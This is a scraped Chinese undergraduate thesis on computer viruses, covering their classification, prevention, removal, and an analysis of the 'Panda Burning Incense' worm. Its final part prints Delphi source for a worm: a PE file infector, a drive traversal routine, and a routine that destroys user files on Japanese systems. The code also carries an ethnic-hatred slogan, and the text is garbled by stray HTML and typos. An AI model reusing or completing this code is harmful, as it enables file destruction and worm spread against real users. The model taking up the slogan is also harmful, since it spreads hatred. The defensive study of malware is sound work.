計算機畢業(yè)設(shè)計---計算機病毒的研究與防治

上傳人：奔*** IP屬地：河北更新時間：2024-03-02 格式：doc 頁數(shù)：34 大?。?48.08KB 人氣指數(shù)：12 舉報 版權(quán)申訴

已閱讀1頁，還剩33頁未讀，繼續(xù)免費閱讀

版權(quán)說明：本文檔由用戶提供并上傳，收益歸屬內(nèi)容提供方，若內(nèi)容存在侵權(quán)，請進行舉報或認領(lǐng)

文檔簡介

1、　　畢業(yè)論文　　題目計算機病毒的研究與防治 　　教學系信息工程系 　　專業(yè)班級計算機應用10級3班 　　學生姓名 ***

2、;　　學生學號 20102010183 　　指導教師 *** 　　2012 年11 月 19 日　　目錄　　摘要<

3、/p>　　目前計算機的應用遍及到社會的各個領(lǐng)域，同時計算機病毒也給我們帶來了巨大的破壞和潛在的威脅。隨著計算機在社會生活各個領(lǐng)域的廣泛運用，計算機病毒攻擊與防范技術(shù)也在不斷拓展。據(jù)報道，世界各國遭受計算機病毒感染和攻擊的事件數(shù)以億計，嚴重地干擾了正常的人類社會生活，給計算機網(wǎng)絡(luò)和系統(tǒng)帶來了巨大的潛在威脅和破壞。與此同時，病毒技術(shù)在戰(zhàn)爭領(lǐng)域也曾廣泛的運用，在海灣戰(zhàn)爭、近期的科索沃戰(zhàn)爭中，雙方都曾利用計算機病毒向

4、敵方發(fā)起攻擊，破壞對方的計算機網(wǎng)絡(luò)和武器控制系統(tǒng)，達到了一定的政治目的與軍事目的?？梢灶A見，隨著計算機、網(wǎng)絡(luò)運用的不斷普及、深入，防范計算機病毒將越來越受到各國的高度重視。分析了計算機病毒的特點，討論了主要從及時清除計算機病毒、局域網(wǎng)病毒的防范、加強計算機網(wǎng)絡(luò)管理、個人用戶的防范，這幾個方面去進行計算機病毒的有效防范。　　關(guān)鍵詞:計算機病毒防范<

5、b>　　Abstract　　Computer virus and PreventionThe application of computer in every field of the society, along with the computer in the social life each domain's widespread utilization,

6、 the computer virus attack and its prevention technology also is in extend ceaselessly. According to the report, the world suffer the computer virus infection and the attack event hundreds of millions, seriously disturb

7、the normal life of human society, to computer networks and systems have brought tremendous potential threat and 　　Key words: computer virus prevention

8、 　　1 引言　　隨著計算機在社會生活各個領(lǐng)域的廣泛應用，計算機病毒攻擊給我們的日常生活和工作中帶來了很多的威脅，對于大多數(shù)計算機用戶來說，談到“計算機病毒”似乎覺得它深不可測，無法琢磨，其實計

9、算機病毒是可以預防的，為了確保計算機使用的安全性，對計算機進行防范措施是很重要的，本文對此問題進行了探討。　　2 正文　　2．1計算機病毒的概述　　隨著社會的不斷進步，科學的不斷發(fā)展，計算機病毒的種類也越來越多，但終究萬變不離其宗！

10、　2.1.1計算機病毒的定義　　一般來講，凡是能夠引起計算機故障，能夠破壞計算機中的資源（包括硬件和軟件）的代碼，統(tǒng)稱為計算機病毒。而在我國也通過條例的形式給計算機病毒下了一個具有法律性、權(quán)威性的定義：“計算機病毒，是指編制或者在計算機程序中插入的破壞計算機功能或者毀壞數(shù)據(jù)，影響計算機使用，并能自我復制的一組計算機指令或者程序代碼?！?　　2.1.2計算

11、機病毒的特性　　1、隱藏性與潛伏性 　　計算機病毒是一種具有很高編程技巧、短精悍的可執(zhí)行程序。它通常內(nèi)附在正常的程序中，用戶啟動程序同時也打開了病毒程序。計算機病毒程序經(jīng)運行取得系統(tǒng)控制權(quán)，可以在不到1秒鐘的時間里傳染幾百個程序。而且在傳染操作成后，計算機系統(tǒng)仍能運行，被感染的程序仍能執(zhí)行，這就是計機病毒傳染的隱蔽性……計算機病毒的潛伏性則是指，某些

12、編制巧的計算機病毒程序，進入系統(tǒng)之后可以在幾周或者幾個月甚至年內(nèi)隱藏在合法文件中，對其它系統(tǒng)文件進行傳染，而不被人發(fā)現(xiàn)。　　2、傳染性 　　計算機病毒可通過各種渠道(磁盤、共享目錄、郵件)從已被感染的計算機擴散到其他機器上，感染其它用戶．在某情況下導致計算機工作失常。<

13、;b>　　3、表現(xiàn)性和破壞性　　任何計算機病毒都會對機器產(chǎn)生一定程的影響，輕者占用系統(tǒng)資源，導致系統(tǒng)運行速度大幅降低．重者除文件和數(shù)據(jù)，導致系統(tǒng)崩潰。　　4、可觸發(fā)性病毒 　　具有預定的觸發(fā)條件，可能是時間、日期、文類型或某些特定數(shù)據(jù)等。一旦滿足觸發(fā)條件，便啟動感染或破壞作，使病毒進行

14、感染或攻擊；如不滿足，繼續(xù)潛伏。有些病毒針對特定的操作系統(tǒng)或特定的計算機。　　5、欺騙性和持久性　　計算機病毒行動詭秘，計算機對其反應遲，往往把病毒造成的錯誤當成事實接受下來。病毒程序即使被發(fā)，已被破壞的數(shù)據(jù)和程序以及操作系統(tǒng)都難以恢復。在網(wǎng)絡(luò)操作情況下，由于病毒程序由一個受感染的拷貝通過網(wǎng)絡(luò)系統(tǒng)反復傳，病毒程序的清

15、除愈加復雜。　　除了上述五點外，計算機病毒還具有不可預見性、衍生性、針對性、等特點。正是由于計算機病毒具有這些特點，給計算機病毒的預防、檢測與清除工作帶來了很大的難度。 　　2.2計算機病毒的分類　　2.2.1計算機病毒的基本分類　　1、傳統(tǒng)開機型計算機病毒</p&

16、gt;　　純粹的開機型計算機病毒多利用軟盤開機時侵入計算機系統(tǒng)，然后再伺機感染其他的軟盤或者硬盤，例如：“Stoned 3”（米開朗基羅）。　　2、隱形開機型計算機病毒　　此類計算機病毒感染的系統(tǒng)，再行檢查開機區(qū)，得到的將是正常的磁區(qū)資料，就好像沒有中毒一樣，此類計算機病毒不容易被殺毒軟件所查殺，而防毒軟件對于未知的此類型計算機病毒

17、，必須具有辨認磁區(qū)資料真?zhèn)蔚哪芰?。此類計算機病毒已出現(xiàn)的尚有“Fish”.　　3、檔案感染型兼開機型計算機病毒　　檔案感染型兼開機型計算機病毒時利用檔案感染時司機感染開機區(qū)，因而具有雙中的行動能力，此類型較著名的計算機病毒有“Cancer”。　　4、目錄型計算機病毒　　本

18、類型計算機病毒的感染方式非常獨特，“Dir2”即其代表，此類計算機病毒僅修改目錄區(qū)（Root），便可達到其感染目的。　　5、傳統(tǒng)檔案型計算機病毒　　傳統(tǒng)檔案型計算機病毒最大的特征，便是將計算機病毒本身植入檔案，使檔案膨脹，以達到散播傳染的目的。代表有“13 Firday”。　　6、千面人計算機病毒</p&g

19、t;　　千面人計算機病毒是指具有自我編碼能力的計算機病毒，“1701 下雨”等，為這種類型主要代表，此種計算機病毒編碼的目的，是使其感染的每一個檔案，看起來皆不一樣，干擾殺毒軟件的偵測，不過千面人計算機病毒仍會留下的這個“小辮子”，將其繩之以法。　　7、突變引擎病毒　　有鑒于前面人計算機病毒一個

20、接一個被截獲，邊有人編寫出一種突變式計算機病毒，使原本千面人計算機病毒無法解決的程序開頭相同的問題得到克服，并編寫成OBJ副程序，供他人植草此類計算機病毒，即 Mctation engine。盡管如此，這類計算機病毒僅干擾了掃毒式軟件，對其他方式的防毒軟件并沒有太大的影響。　　8、隱形檔案型計算機病毒　　此類病毒可以避開去多防毒軟件，因為隱形計算機病毒能

21、直接植入DOS系統(tǒng)的作業(yè)環(huán)境中，當外部程序呼叫DOS中斷服務時，便同時執(zhí)行到計算機病毒本身，使得計算機病毒能從容地將受其感染的檔案，粉飾成正常無毒的樣子。此類計算機病毒有“4096” 等。　　9、終結(jié)型計算機病毒　　終結(jié)性計算機病毒能追蹤磁盤操作終端的原始進入點，當計算機病毒取得磁盤原始中斷時，便可任意再磁盤上修改資料或普哦壞資料，而不會驚動防毒程序，這

22、就是說，裝有防毒程序和美妝防毒程序的情況是一樣的危險。這類計算機病毒有的采用INT 1單步執(zhí)行的方式，逐步追蹤磁盤中斷的過程，找出BIOS磁盤中斷的部分，供計算機病毒內(nèi)部使用；有的采用死機的方式，記錄幾個BIOS版本的磁盤中斷原始進入點，當計算機病毒遭到熟悉的BIOS版本，便可直接呼叫磁盤中斷，對磁盤予取予求；有的則分析磁盤中斷的程序片段，找出BIOS中的相似部分便可直接呼叫磁盤中斷。其代表有“Hammer 6”等。

23、　　10、Word巨集計算機病毒　　Word 巨集計算機病毒可以說時目前最新的計算機病毒種類了，它是文件型計算機病毒，異于以往以感染磁盤區(qū)或可執(zhí)行的檔案為主的計算機病毒，此類病毒時利用Word 提供的巨集功能來感染文件。目前已經(jīng)在Internet及BBS網(wǎng)絡(luò)中發(fā)現(xiàn)不少Word巨集計算機病毒，而且此類計算機病毒是用類似Basic程序編寫出來的，易學，其反戰(zhàn)速度一定很快。<

24、;/p>　　2.3計算機病毒防范和清除的基本原則和技術(shù)　　2.3.1計算機病毒防范的概念和原則　　計算機病毒防范，是指通過建立合理的計算機病毒防范體系和制度，即使發(fā)現(xiàn)計算機病毒入侵，并采取有效的手段阻止計算機病毒的傳播和破壞，回復受影響的計算機系統(tǒng)和數(shù)據(jù)。　　原則以防御計算機病毒為主動

25、，主要表現(xiàn)在檢測行為的動態(tài)性和防范方法的廣譜性。　　2.3.2計算機病毒防范基本技術(shù)　　計算機病毒預防是在計算機病毒尚未入侵或剛剛?cè)肭?，就攔截、阻擊計算機病毒的入侵或立即警報。目前在預防計算機病毒工具中采用的主要技術(shù)如下：　　1 經(jīng)常從軟件供應商那邊下載、安裝安全補丁程序和升級殺毒軟件。&

26、lt;p>　　2 新購置的計算機和新安裝的系統(tǒng)，一定要進行系統(tǒng)升級，保證修補所有已知的安全漏洞。　　3 使用高強度的口令。　　4 經(jīng)常備份重要數(shù)據(jù)。特別是要做到經(jīng)常性地對不易復得數(shù)據(jù)（個人文檔、程序源代碼等等）完全備份。　　5 選擇并安裝經(jīng)過公安部認證的防病毒軟件，定期對整個硬盤進行病毒檢測、清除工作。&l

27、t;/p>　　6 安裝防火墻（軟件防火墻），提高系統(tǒng)的安全性。　　7 當計算機不使用時，不要接入互聯(lián)網(wǎng)，一定要斷掉連接。　　8 不要打開陌生人發(fā)來的電子郵件，無論它們有多么誘人的標題或者附件。同時也要小心處理來自于熟人的郵件附件。　　9 正確配置、使用病毒防治產(chǎn)品。

28、;　　10 正確配置計算機系統(tǒng)，減少病毒侵害事件。充分利用系統(tǒng)提供的安全機制，提高系統(tǒng)防范病毒的能力。　　2.3.3清除計算機病毒的基本方法　　1.簡單的工具治療　　簡單工具治療是指使用Debug等簡單的工具，借助檢測者對某種計算機病毒的具體知識，從感染

29、計算機病毒的軟件中摘除計算機代碼。但是，這種方法同樣對檢測者自身的專業(yè)素質(zhì)要求較高，而且治療效率也較低。　　2.專用工具治療　　使用專用工具治療被感染的程序時通常使用的治療方法。專用計算機治療工具，根據(jù)對計算機病毒特征的記錄，自動清除感染程序中的計算機病毒代碼，使之得以恢復。使用專用工具治療計算機病毒時，治療操作簡單

30、、高效。從探索與計算機病毒對剛的全過程來看，專用工具的開發(fā)商也是先從使用簡單工具進行治療開始，當治療獲得成功后，再研制相應的軟件產(chǎn)品，使計算機自動地完成全部治療操作。　　2.4 典型計算機病毒的原理、防范和清除　　2.4.1引導區(qū)計算機病毒　　系統(tǒng)引導區(qū)時在系統(tǒng)引導的時候，進入到系統(tǒng)中，獲得對系統(tǒng)的控制權(quán)，在完成

31、其自身的安裝后才去引導系統(tǒng)的。稱其為引導區(qū)計算機病毒時因為這類計算機病毒一般是都侵占系統(tǒng)硬盤的主引導扇區(qū)I/O分區(qū)的引導扇區(qū)，對于軟盤則侵占了軟盤的引導扇區(qū)。　　它會感染在該系統(tǒng)中進行讀寫操作的所有軟盤，然后再由這些軟盤以復制的方式和引導進入到其他計算機系統(tǒng)，感染其他計算機的操作系統(tǒng)。　　如何檢測呢？</p&g

32、t;　　查看系統(tǒng)內(nèi)存的總量與正常情況進行比較　　檢查系統(tǒng)內(nèi)存高端的內(nèi)容　　檢查系統(tǒng)的INT 13H中斷向量　　檢查硬盤的主引導扇區(qū)、DOS分區(qū)引導扇區(qū)以及軟盤的引導扇區(qū)　　清除：<p

33、>　　用原來正常的分區(qū)表信息或引導扇區(qū)信息，覆蓋掉計算機病毒程序。此時，如果用戶事先提取并保存了自己硬盤中分區(qū)表的信息和DOS分區(qū)引導扇區(qū)信息，那么，恢復工作變得非常簡單。可以直接用Debug將這兩種引導扇區(qū)的內(nèi)容分別調(diào)入內(nèi)存，然后分別回它的原來位置，這樣就消除了計算機病毒。　　2.4.2文件型計算機病毒　　文件型計算機病毒程序都是依附在系統(tǒng)可執(zhí)行

34、文件或覆蓋文件上，當文件裝入系統(tǒng)執(zhí)行的時候，引導計算機病毒程序也進入到系統(tǒng)中。只有極少計算機病毒程序感染數(shù)據(jù)文件。　　此類病毒感染對象大多是系統(tǒng)的可執(zhí)行文件，也有一些還要對覆蓋文件進行傳染，而對數(shù)據(jù)進行傳染的則少見。　　清除：　　確定計算機病毒程序的位置，是駐留在文件尾部還是

35、在文件首部。　　找到計算機病毒程序的首部位置（對應于在文件尾部駐留方式），或者尾部位置（對應于在文件首部駐留方式）。　　恢復原文件頭部的參數(shù)。　　2.4.3腳本型計算機病毒　　主要采用腳本語言設(shè)計的病毒稱其為腳本病毒。實際上在早期的系統(tǒng)中，計算機病毒就已經(jīng)開始利用腳本進行

36、傳播和破壞，不過專門的腳本病毒并不常見。但是在腳本應用無所不在的今天，腳本病毒卻成為危害最大，最為廣泛的病毒，特別是當他和一些傳統(tǒng)的惡性病毒相結(jié)合時，其危害就更為嚴重了。　　其主要有兩種類型，純腳本型，混合型。　　它的特點：　　編寫簡單&

37、lt;/p>　　破壞力大　　感染力強　　傳播范圍大（多通過E-mail，局域網(wǎng)共享，感染網(wǎng)頁文件的方式傳播）　　計算機病毒源碼容易被獲取，變種多　　欺

38、騙性強　　使得計算機病毒生產(chǎn)機事先起來非常容易　　清除：　　禁用文件系統(tǒng)對象FileSystemObject　　卸載Windows Scripting Host　　刪除vb

39、s，vbe，js，jse文件后綴與應用程序映射　　在Windows目錄中，找到WScript.exe，更改名稱或者刪除　　要徹底防止vbs網(wǎng)絡(luò)蠕蟲病毒，還需要設(shè)置一下瀏覽器　　禁止OE的自動收發(fā)電子郵件功能　　顯示所有文件類型的擴展名稱<p&

40、gt;　　將系統(tǒng)的網(wǎng)絡(luò)連接的安全級別設(shè)置至少為“中等”　　2.4.4特洛伊木馬計算機病毒　　特洛伊木馬也叫黑客程序或后門病毒，是指吟唱在正常程序中的一段具有特殊功能的程序，其隱蔽性及好，不易察覺，是一種極為危險的網(wǎng)絡(luò)攻擊手段。　　其第一代：偽裝性病毒，第二代：AIDS型木馬，第三代：網(wǎng)絡(luò)傳播性木馬</p&g

41、t;　　如何檢查？　　稽查注冊表　　檢查你的系統(tǒng)配置文件　　清除：　　備份重要數(shù)據(jù)</p&g

42、t;　　立即關(guān)閉身背電源　　備份木馬入侵現(xiàn)場　　修復木馬危害　　2.4.5 蠕蟲計算機病毒　　蠕蟲是一種通過網(wǎng)絡(luò)傳播的惡性計算機病毒，它

43、具有計算機病毒的一些共性，如傳播性、隱蔽性、破壞性等。同時自己有自己一些特征，如利用文件寄生，對網(wǎng)絡(luò)造成拒絕服務以及和黑客技術(shù)相結(jié)合等。　　簡單點說，蠕蟲就是使用危害的代碼來攻擊網(wǎng)絡(luò)上的受害主機，并在受害主機上自我復制，再攻擊其他的受害主機的計算機病毒。　　其特征：<b

44、>　　自我繁殖　　利用軟件漏洞　　造成網(wǎng)絡(luò)擁堵　　消耗系統(tǒng)資源　　留下安全隱患</p&g

45、t;　　清除：　　與防火墻互動　　交換機聯(lián)動　　通知HIDS（基于主機的入侵檢測）　　報警<

46、/p>　　2.5 “熊貓燒香”病毒剖析　　“熊貓燒香”病毒感染機理:“熊貓燒香”，是一個感染型的蠕蟲病毒，它能感染系統(tǒng)中exe，com，pif，src，html，asp等文件，它還能中止大量的反病毒軟件進程并且會刪除擴展名為gho的文件，該文件是一系統(tǒng)備份工具GHOST的備份文件，使用戶的系統(tǒng)備份文件丟失。被感染的用戶系統(tǒng)中所有.exe可執(zhí)行文件全部被改成熊貓舉著三根

47、香的模樣。　　1:拷貝文件病毒運行后,會把自己拷貝到C:\WINDOWS\System32\Drivers\spoclsv.exe　　2:添加注冊表自啟動病毒會添加自啟動項HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run svcshare -> C:\WINDOWS\Sy

48、stem32\Drivers\spoclsv.exe 　　3:病毒行為　　a:每隔1秒尋找桌面窗口,并關(guān)閉窗口標題中含有以下字符的程序： 　　QQKav、QQAV、防火墻、進程、VirusScan、網(wǎng)鏢、殺毒、毒霸、瑞星、江民、黃山IE、超級兔子、優(yōu)化大師、木馬克星、木馬清道

49、夫、QQ病毒、注冊表編輯器、系統(tǒng)配置實用程序、卡巴斯基反病毒、Symantec AntiVirus、Duba、esteem proces、綠鷹PC、密碼防盜、噬菌體、木馬輔助查找器、System Safety Monitor、Wrapped gift Killer、Winsock Expert、游戲木馬檢測大師、msctls_statusbar32、pjf(ustc)、IceSword，并使用的鍵盤映射的方法關(guān)閉安全軟件IceSword

50、。添加注冊表使自己自啟動HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe并中止系統(tǒng)中以下的進程: 　　Mcshield.exe、VsTskMgr.exe、naPrdMgr.exe、UpdaterUI.exe、T

51、BMon.exe、scan32.exe、Ravmond.exe、CCenter.exe、RavTask.exe、Rav.exe、Ravmon.exe、RavmonD.exe、RavStub.exe、KVXP.kxp、kvMonXP.kxp、KVCenter.kxp、KVSrvXP.exe、KRegEx.exe、UIHost.exe、TrojDie.kxp、FrogAgent.exe、Logo1_.exe、Logo_1.exe、Rundl

52、132.exe。　　b:每隔18秒點擊病毒作者指定的網(wǎng)頁,并用命令行檢查系統(tǒng)中是否存在共享，共存在的話就運行net share命令關(guān)閉admin$共享。　　c:每隔10秒下載病毒作者指定的文件,并用命令行檢查系統(tǒng)中是否存在共享，共存在的話就運行net share命令關(guān)閉admin$共享。　　d:每隔6秒刪除安全軟

53、件在注冊表中的鍵值。　　并修改以下值不顯示隱藏文件 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL CheckedValue -> 0x00 　　刪除以下服務: navapsvc、wscsvc、K

54、PfwSvc、SNDSrvc、ccProxy、ccEvtMgr、ccSetMgr、SPBBCSvc、Symantec Core LC、NPFMntor MskService、FireSvc。　　e:感染文件 　　病毒會感染擴展名為exe,pif,com,src的文件,把自己附加到文件的頭部，并在擴展名為htm,htm

55、l, asp,php,jsp,aspx的文件中添加一網(wǎng)址，用戶一但打開了該文件，IE就會不斷的在后臺點擊寫入的網(wǎng)址，達到增加點擊量的目的,但病毒不會感染以下文件夾名中的文件： 　　WINDOW、Winnt、System Volume Information、Recycled、Windows NT、WindowsUpdate、Windows Media Player、Outlook Express

56、、Internet Explorer、NetMeeting、Common Files、ComPlus Applications、Messenger、InstallShield Installation Information、MSN、Microsoft Frontpage、Movie Maker、MSN Gamin Zone 。　　g:刪除文件 </p

57、>　　病毒會刪除擴展名為gho的文件，該文件是一系統(tǒng)備份工具GHOST的備份文件使用戶的系統(tǒng)備份文件丟失。 　　“熊貓燒香”病毒核心源碼　　用 Delphi 寫　　program Japussy;　　uses

58、;　　Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};　　const　　HeaderSize = 82432; //病毒體的大小　　IconOff

59、set = $12EB8; //PE文件主圖標的偏移量　　//在我的Delphi5 SP1上面編譯得到的大小，其它版本的Delphi可能不同　　//查找2800000020的十六進制字符串可以找到主圖標的偏移量　　{

60、　　HeaderSize = 38912; //Upx壓縮過病毒體的大小　　IconOffset = $92BC; //Upx壓縮過PE文件主圖標的偏移量　　//Upx 1.24W 用法: upx -9 --8086 Japussy.exe　　}</b&

61、gt;　　IconSize = $2E8; //PE文件主圖標的大小--744字節(jié)　　IconTail = IconOffset + IconSize; //PE文件主圖標的尾部　　ID = $44444444; //感染標記&

62、lt;p>　　//垃圾碼，以備寫入　　Catchword = 'If a race need to be killed out, it must be Yamato. ' 　　+　　'If a country need to be destroy

63、ed, it must be Japan! ' +　　'*** W32.Japussy.Worm.A ***';　　{$R *.RES}　　Function RegisterServiceProcess()function RegisterServiceProcess(dwProcessI

64、D, dwType: Integer): 　　Integer; 　　stdcall; external 'Kernel32.dll'; //函數(shù)聲明　　var　　TmpFile:

65、string;　　Si: STARTUPINFO;　　Pi: PROCESS_INFORMATION;　　IsJap: Boolean = False; //日文操作系統(tǒng)標記　　{ 判斷是否為Win9x }

66、　　Function IsWin9x()function IsWin9x: Boolean;　　var　　Ver: TOSVersionInfo;　　begin　　Result := False;

67、　　Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);　　if not GetVersionEx(Ver) then　　Exit;　　if (Ver.dwPlatformID = VE

68、R_PLATFORM_WIN32_WINDOWS) then //Win9x　　Result := True;　　end;　　{ 在流之間復制 }　　procedure CopyStream(Src: TStream; sStartP

69、os: Integer; Dst: TStream;　　dStartPos: Integer; Count: Integer);　　var　　sCurPos, dCurPos: Integer;　　begin<

70、/b>　　sCurPos := Src.Position;　　dCurPos := Dst.Position;　　Src.Seek(sStartPos, 0);　　Dst.Seek(dStartPos, 0);　　Dst.C

71、opyFrom(Src, Count);　　Src.Seek(sCurPos, 0);　　Dst.Seek(dCurPos, 0);　　end;　　{ 將宿主文件從已感染的PE文件中分離出來，以備使用 }<

72、;p>　　procedure ExtractFile(FileName: string);　　var　　sStream, dStream: TFileStream;　　begin<b&

73、gt;　　try　　sStream := TFileStream.Create(ParamStr(0), fmOpenRead or 　　fmShareDenyNone);　　try　　dStream := TFi

74、leStream.Create(FileName, fmCreate);　　try　　sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分　　dStream.CopyFrom(sStream, sStream.Size - HeaderSize);

75、　　finally　　dStream.Free;　　end;　　finally　　sStream.Free;<

76、/p>　　end;　　except　　end;　　end;　　{ 填充STARTUPINFO

77、結(jié)構(gòu) }　　procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);　　begin　　Si.cb := SizeOf(Si);　　Si.lpReserved := nil

78、;　　Si.lpDesktop := nil;　　Si.lpTitle := nil;　　Si.dwFlags := STARTF_USESHOWWINDOW;　　Si.wShowWindow := State;　　Si.cbRe

79、served2 := 0;　　Si.lpReserved2 := nil;　　end;　　{ 發(fā)帶毒郵件 }　　procedure SendMail;&l

80、t;b>　　begin　　//哪位仁兄愿意完成之？　　end;　　{ 感染PE文件 }　　procedure InfectOneFile(FileName: string);<p

81、>　　var　　HdrStream, SrcStream: TFileStream;　　IcoStream, DstStream: TMemoryStream;　　iID: LongInt;　　aIcon: TIcon;<

82、/p>　　Infected, IsPE: Boolean;　　i: Integer;　　Buf: array[0..1] of Char;　　begin　　try //出錯則文件正在被使用，退出</p

83、>　　if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染　　Exit;　　Infected := False;　　IsPE := False;</p&g

84、t;　　SrcStream := TFileStream.Create(FileName, fmOpenRead);　　try　　for i := 0 to $108 do //檢查PE文件頭　　begin</

85、p>　　SrcStream.Seek(i, soFromBeginning);　　SrcStream.Read(Buf, 2);　　if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記　　begin<

86、;/p>　　IsPE := True; //是PE文件　　Break;　　end;　　end;　　SrcStream.Seek(-

87、4, soFromEnd); //檢查感染標記　　SrcStream.Read(iID, 4);　　if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染　　Infected := True;<b&g

88、t;　　finally　　SrcStream.Free;　　end;　　if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出　　Exit;</b

89、>　　IcoStream := TMemoryStream.Create;　　DstStream := TMemoryStream.Create;　　try　　aIcon := TIcon.Create;

90、　　try　　//得到被感染文件的主圖標(744字節(jié))，存入流　　aIcon.ReleaseHandle;　　aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);<

91、;p>　　aIcon.SaveToStream(IcoStream);　　finally　　aIcon.Free;　　end;　　SrcStream := TFileStream.Creat

92、e(FileName, fmOpenRead);　　//頭文件　　HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or 　　fmShareDenyNone);<b&

93、gt;　　try　　//寫入病毒體主圖標之前的數(shù)據(jù)　　CopyStream(HdrStream, 0, DstStream, 0, IconOffset);　　//寫入目前程序的主圖標　　CopyStream(IcoStream, 22, DstStr

94、eam, IconOffset, IconSize);　　//寫入病毒體主圖標到病毒體尾部之間的數(shù)據(jù)　　CopyStream(HdrStream, IconTail, DstStream, IconTail, 　　HeaderSize - IconTail);<b&

95、gt;　　//寫入宿主程序　　CopyStream(SrcStream, 0, DstStream, HeaderSize, 　　SrcStream.Size);　　//寫入已感染的標記　　DstStream.Seek(0, 2);

96、　　iID := $44444444;　　DstStream.Write(iID, 4);　　finally　　HdrStream.Free;　　end;

97、　　finally　　SrcStream.Free;　　IcoStream.Free;　　DstStream.SaveToFile(FileName); //替換宿主文件　　DstStream.Free;<

98、/p>　　end;　　except;　　end;　　end;　　{ 將目標文件寫入垃圾碼后刪

99、除 }　　procedure SmashFile(FileName: string);　　var　　FileHandle: Integer;　　i, Size, Mass, Max, Len: Integer;

100、　　begin　　try　　SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性　　FileHandle := FileOpen(FileName, fmOpenWrite);

101、//打開文件　　try　　Size := GetFileSize(FileHandle, nil); //文件大小　　i := 0;　　Randomize;

102、;　　Max := Random(15); //寫入垃圾碼的隨機次數(shù)　　if Max < 5 then　　Max := 5;　　Mass := Size div Max; //每個間隔塊的大小　　Len := Length(Ca

103、tchword);　　while i < Max do　　begin　　FileSeek(FileHandle, i * Mass, 0); //定位　　//寫入垃圾碼，將文件徹底破壞掉

104、　　FileWrite(FileHandle, Catchword, Len);　　Inc(i);　　end;　　finally　　FileClose(Fil

105、eHandle); //關(guān)閉文件　　end;　　DeleteFile(PChar(FileName)); //刪除之　　except　　end;</p&

106、gt;　　end;　　{ 獲得可寫的驅(qū)動器列表 }　　Function GetDrives()function GetDrives: string;　　var　　DiskTy

107、pe: Word;　　D: Char;　　Str: string;　　i: Integer;　　begin　　for i := 0 to 25 do //

108、遍歷26個字母　　begin　　D := Chr(i + 65);　　Str := D + ':';　　DiskType := GetDriveType(PChar(Str));

109、;　　//得到本地磁盤和網(wǎng)絡(luò)盤　　if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then　　Result := Result + D;　　end;

110、　end;　　{ 遍歷目錄，感染和摧毀文件 }　　procedure LoopFiles(Path, Mask: string);　　var　　i, Count: Integer;<p

111、>　　Fn, Ext: string;　　SubDir: TStrings;　　SearchRec: TSearchRec;　　Msg: TMsg;　　Function IsValidDir()function IsValidDir(SearchRec: TSear

112、chRec): Integer;　　begin　　if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and　　(SearchRec.Name <> '..&

113、#39;) then　　Result := 0 //不是目錄　　else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and　　(SearchRec.Name <> '..') then<

114、/p>　　Result := 1 //不是根目錄　　else Result := 2; //是根目錄　　end;　　begin　　if (FindFirst(Path

115、+ Mask, faAnyFile, SearchRec) = 0) then　　begin　　repeat　　PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調(diào)整消息隊列，避免引起懷疑

116、　　if IsValidDir(SearchRec) = 0 then　　begin　　Fn := Path + SearchRec.Name;　　Ext := UpperCase(ExtractFileExt(Fn));<

117、p>　　if (Ext = '.EXE') or (Ext = '.SCR') then　　begin　　InfectOneFile(Fn); //感染可執(zhí)行文件 　　end</p

118、>　　else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') 　　then　　begin　　//感

119、染HTML和ASP文件，將Base64編碼后的病毒寫入　　//感染瀏覽此網(wǎng)頁的所有用戶　　//哪位大兄弟愿意完成之？　　end　　else if Ext = '.WAB' then //Outlook地址簿文件<

120、/p>　　begin　　//獲取Outlook郵件地址　　end　　else if Ext = '.ADC' then //Foxmail地址自動完成文件

121、;　　begin　　//獲取Foxmail郵件地址　　end　　else if Ext = 'IND' then //Foxmail地址簿文件　　begin<

122、;/b>　　//獲取Foxmail郵件地址　　end　　else 　　begin　　if IsJap then

123、 //是倭文操作系統(tǒng)　　begin　　if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or　　(Ext = '.MP3') or (Ext = '

124、;.RM') or (Ext = '.RA') or　　(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or　　(Ext = '.MPEG') or (Ext = '.ASF') or (Ext =

125、 '.JPG') or　　(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or　　(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') th

126、en　　SmashFile(Fn); //摧毀文件　　end;　　end;　　end;　　//感染或刪除一個文件后睡

127、眠200毫秒，避免CPU占用率過高引起懷疑　　Sleep(200);　　until (FindNext(SearchRec) <> 0);　　end;　　FindClose(SearchRec);&

眾賞文庫> 全部分類> 畢業(yè)設(shè)計

溫馨提示

1. 本站所有資源如無特殊說明，都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
2. 本站的文檔不包含任何第三方提供的附件圖紙等，如果需要附件，請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
3. 本站RAR壓縮包中若帶圖紙，網(wǎng)頁內(nèi)容里面會有圖紙預覽，若沒有圖紙預覽就沒有圖紙。
4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
